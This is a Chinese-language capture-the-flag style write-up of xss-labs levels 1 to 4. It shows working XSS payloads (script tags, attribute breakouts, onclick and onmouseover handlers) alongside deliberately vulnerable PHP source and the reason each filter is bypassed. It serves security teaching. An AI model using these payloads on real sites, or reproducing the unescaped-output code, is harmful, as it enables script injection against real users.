xss-labs靶场训练(1~4关)

第一关

前端F12查看代码:
在这里插入图片描述
这里只能看到参数test输出在h2里面,可以尝试直接构造payload:

<script>alert(/xss/)</script>


成功!

后台关键源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

这里是以GET方法获取参数name,并直接输出,没有任何过滤或转义。

第二关

尝试上一关的方法:
在这里插入图片描述
Payload没有执行成功,而且被原封不动的输出来了,估计是被实体转义了。
尝试一下构造闭合input的payload:

"><script>alert(/xss/)</script>//

成功
在这里插入图片描述
后台关键源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

这里面的输出用了htmlspecialchars()函数做实体转义,payload的一些字符被转换为HTML实体了,所以不能作为标签运行。
htmlspecialchars()函数具体参考如下:
在这里插入图片描述
这里的字符转换只是作为HTML输出,浏览器输出还是和原来的字符一样,例如:
在这里插入图片描述

第三关

先试一下第二关的方法:
在这里插入图片描述
这里可以看到用来构造闭合的双引号被转义了。

后台关键源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

和第二关的源代码做一下对比,发现这里不仅输出用了htmlspecialchars()函数做实体转义,输入也用了该函数。所以只能用来尝试

因为&、<、>还有双引号都被转换了,可以尝试构造不包含这些字符的payload
方法一:构造onclick事件(点击一下输入框,就可以触发onclick事件,响应onclick中的javascript代码)

Payload='onclick=alert(/xss/)//

在这里插入图片描述
在这里插入图片描述
方法二:构造onmouseover事件(鼠标移动到输入框,就可以触发onmouseover事件,响应onmouseover中的javascript代码)

Payload='onmouseover=alert(/xss/)//

在这里插入图片描述
在这里插入图片描述

第四关

用上一关的方法:
在这里插入图片描述
发现单引号闭合不了,那就用双引号试试:
在这里插入图片描述
成功闭合,鼠标移动到输入框,成功!
在这里插入图片描述

后台关键源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

此处用了str_replace()函数将用户输入个keyword中的字符 > < 替换为空,所以不能用<>的payload。

总结

碰到字符被转义的情况,尝试用其他没有被转义的字符构造payload。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值